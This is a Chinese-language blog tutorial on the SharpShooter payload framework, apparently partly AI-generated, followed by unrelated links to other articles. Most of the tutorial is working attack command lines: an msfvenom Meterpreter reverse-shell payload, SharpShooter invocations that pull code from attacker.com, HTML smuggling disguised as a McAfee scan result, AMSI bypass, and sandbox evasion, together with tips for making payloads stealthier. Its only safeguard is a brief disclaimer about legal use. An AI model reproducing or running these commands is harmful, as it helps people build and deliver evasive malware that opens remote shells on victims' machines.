如何快速上手SharpShooter：5分钟创建你的第一个恶意Payload

张

张建站

2026/5/11 7:42:01

10分钟阅读

如何快速上手SharpShooter5分钟创建你的第一个恶意Payload【免费下载链接】SharpShooterPayload Generation Framework项目地址: https://gitcode.com/gh_mirrors/sh/SharpShooterSharpShooter是一个功能强大的Payload生成框架专门用于创建和执行任意C#源代码的恶意负载。无论你是安全研究人员、渗透测试人员还是红队成员这个开源工具都能帮助你在几分钟内生成高度定制的攻击载荷。本文将为你提供完整的SharpShooter使用指南让你快速掌握这个专业的payload生成工具。 SharpShooter核心功能概览SharpShooter是一个多功能的payload生成框架支持多种输出格式和高级功能多格式支持生成HTA、JS、VBA、VBS、WSF等多种脚本格式的payload.NET框架兼容支持.NET 2.0和4.0版本覆盖大多数Windows环境多种交付方式支持Web、DNS或两者结合的payload交付反沙箱检测内置多种沙箱规避技术提高payload的生存能力AMSI绕过集成AMSI反恶意软件扫描接口绕过功能HTML走私技术使用Demiguise技术将payload隐藏在HTML文件中快速安装与配置环境准备首先克隆SharpShooter仓库到本地git clone https://gitcode.com/gh_mirrors/sh/SharpShooter cd SharpShooter依赖安装SharpShooter基于Python开发需要安装必要的依赖包pip install -r requirements.txt 5分钟创建你的第一个Payload让我们通过一个简单的示例快速入门。假设我们要创建一个基础的JavaScript payload步骤1准备shellcode首先准备你的shellcode文件。你可以使用Metasploit或其他工具生成msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTYOUR_IP LPORT4444 -f raw -o shellcode.bin步骤2生成stageless JavaScript payload使用以下命令创建一个无阶段的JavaScript payloadpython SharpShooter.py --stageless --dotnetver 4 --payload js --output mypayload --rawscfile ./shellcode.bin这个命令会生成一个名为mypayload.js的文件其中包含了嵌入的shellcode。步骤3添加反沙箱检测为了提高payload的隐蔽性添加一些反沙箱检测python SharpShooter.py --stageless --dotnetver 4 --payload js --output mypayload --rawscfile ./shellcode.bin --sandbox 1CONTOSO,2,3这里的--sandbox参数添加了三种检测1CONTOSO仅当域名为CONTOSO时执行2确保系统已加入域3检查沙箱环境特征高级功能探索1. HTML走私技术SharpShooter支持将payload隐藏在HTML文件中绕过某些安全检测python SharpShooter.py --stageless --dotnetver 2 --payload hta --output malicious --rawscfile ./shellcode.bin --smuggle --template mcafee这会生成一个看起来像McAfee病毒扫描结果的HTML文件但实际上包含了恶意payload。2. COM Staging技术利用COM对象进行payload分发python SharpShooter.py --stageless --dotnetver 2 --payload vbs --output com_payload --rawscfile ./shellcode.bin --com outlook --awlurl http://attacker.com/payload.xsl3. 自定义C#代码执行你可以执行自定义的C#代码而不仅仅是shellcodepython SharpShooter.py --dotnetver 2 --payload js --delivery web --refs mscorlib.dll,System.Windows.Forms.dll --namespace MyNamespace --entrypoint Main --web http://attacker.com/payload.payload --output custom_payload 支持的Payload类型对比格式类型文件扩展名适用场景特点HTA.hta通过HTML应用分发双击直接执行JavaScript.js/.jse网页攻击、钓鱼邮件广泛兼容VBScript.vbs/.vbeWindows脚本攻击系统内置支持WSF.wsf复杂脚本任务支持多种脚本语言VBA宏.vbaOffice文档攻击Office环境利用Excel 4.0.slk旧版Office攻击绕过某些检测️ 安全防护与规避技术反沙箱检测技术SharpShooter提供了5种反沙箱检测方法域密钥验证仅当系统属于特定域时执行域加入检查确保系统已加入域环境沙箱特征检测检查已知的沙箱环境特征MAC地址检查检测虚拟机特有的MAC地址调试器检测检查是否处于调试环境AMSI绕过当目标系统启用AMSI时可以使用--amsi amsienable参数来尝试绕过python SharpShooter.py --stageless --dotnetver 4 --payload js --output amsi_bypass --rawscfile ./shellcode.bin --amsi amsienable 项目文件结构解析了解SharpShooter的文件结构有助于更好地使用它SharpShooter/ ├── SharpShooter.py # 主程序入口 ├── modules/ # 功能模块目录 │ ├── amsikiller.py # AMSI绕过模块 │ ├── awl.py # 应用白名单绕过模块 │ ├── embedinhtml.py # HTML走私模块 │ └── excel4.py # Excel 4.0宏模块 ├── templates/ # 模板文件目录 │ ├── harness.hta # HTA模板 │ ├── harness.js # JavaScript模板 │ ├── harness.vba # VBA模板 │ ├── harness.vbs # VBS模板 │ └── harness.wsf # WSF模板 ├── CSharpShooter/ # C#项目目录 │ └── SharpShooter.cs # 核心C#代码 └── output/ # 输出目录最佳实践与注意事项合法使用原则⚠️重要提醒SharpShooter仅用于合法的安全测试和教育目的。使用前请确保仅在授权的测试环境中使用遵守当地法律法规获得明确的测试授权实战技巧组合使用多种技术结合HTML走私、COM staging和反沙箱检测提高成功率测试不同版本针对不同.NET版本生成payload提高兼容性使用自定义模板修改templates/目录中的模板文件创建更隐蔽的payload监控输出生成的payload位于output/目录及时检查生成结果常见问题解答Q: SharpShooter支持哪些操作系统A: SharpShooter本身运行在支持Python的系统上Windows/Linux/macOS生成的payload主要针对Windows系统。Q: 如何生成Excel 4.0宏payloadA: 使用--payload slk参数注意shellcode不能包含空字节python SharpShooter.py --payload slk --output excel_payload --rawscfile ./shellcode.binQ: 如何同时使用Web和DNS交付A: 使用--delivery both参数并指定Web和DNS地址python SharpShooter.py --payload vbs --delivery both --output dual_delivery --web http://attacker.com/payload --dns payload.attacker.com --shellcode --scfile ./shellcode.txt 进阶学习路径掌握了基础使用后你可以进一步探索深入研究模块代码查看modules/目录下的各个模块了解实现原理自定义C#模板修改templates/shellcode.cs文件创建自定义的C#执行逻辑集成到自动化工具链将SharpShooter集成到你的红队工具链中研究规避技术学习最新的反检测和规避技术更新到你的payload中总结SharpShooter作为一个专业的payload生成框架为安全研究人员提供了强大的工具集。通过本文的指南你应该能够在5分钟内创建你的第一个恶意payload并理解如何利用其高级功能进行更复杂的攻击模拟。记住能力越大责任越大。始终在合法授权的环境中使用这些工具为网络安全事业做出积极贡献。提示更多详细信息和高级用法请参考项目中的Readme.md文档。【免费下载链接】SharpShooterPayload Generation Framework项目地址: https://gitcode.com/gh_mirrors/sh/SharpShooter创作声明：本文部分内容由AI辅助生成（AIGC），仅供参考

Kohya Trainer 数据预处理全流程：从图像收集到标签生成

Kohya Trainer 数据预处理全流程：从图像收集到标签生成【免费下载链接】kohya-trainer Adapted from https://note.com/kohya_ss/n/nbf7ce8d80f29 for easier cloning 项目地址: https://gitcode.com/gh_mirrors/ko/kohya-trainer Kohya Trainer 是一款强大…...

2026/5/11 7:40:51 阅读更多 →

解放双手，回归乐趣：《崩坏：星穹铁道》智能自动化助手完全指南

解放双手，回归乐趣：《崩坏：星穹铁道》智能自动化助手完全指南【免费下载链接】March7thAssistant 崩坏：星穹铁道全自动三月七小助手项目地址: https://gitcode.com/gh_mirrors/ma/March7thAssistant 你是否曾在深夜疲惫…...

2026/5/11 7:39:39 阅读更多 →

华硕笔记本性能优化终极秘籍：G-Helper轻量级控制工具完全指南

华硕笔记本性能优化终极秘籍：G-Helper轻量级控制工具完全指南【免费下载链接】g-helper Lightweight Armoury Crate alternative for Asus laptops with nearly the same functionality. Works with ROG Zephyrus, Flow, TUF, Strix, Scar, ProArt, Vivobook, Zenb…...

2026/5/11 7:36:32 阅读更多 →

4月28日隐喻“鲸鱼开眼”，DeepSeek识图模式灰度上线，迈入图文交互时代！

4月28日，DeepSeek多模态团队研究员推文隐喻“鲸鱼开眼”，次日开启“识图模式”灰度内测，5月初大范围开放。该模式有亮点也有短板，标志其迈入图文交互时代。事件回顾4月28日，DeepSeek多模态团队研究员陈小康在X平台推文…...

2026/5/10 0:06:14 阅读更多 →

AI赋能高能物理：图神经网络与生成式模型在粒子径迹重建与模拟中的应用

1. 项目概述：当AI遇见高能物理的“显微镜”电子离子对撞机（EIC），被誉为探索物质深层结构的下一代“超级显微镜”。它不像我们熟悉的LHC那样让质子对撞，而是让高能电子去轰击质子或重离子，其核心目标是精确“…...

2026/5/10 0:08:27 阅读更多 →

A/B 测试前后的合成控制样本

原文：towardsdatascience.com/synthetic-control-sample-for-before-and-after-a-b-test-683bac36ffc1 简介 A/B 测试非常强大。我喜欢这种实验，因为它让我们能够比较结果，并确定某物是否比另一物表现更好。 A/B 测试有一个特定类型&#x…...

2026/5/11 2:26:03 阅读更多 →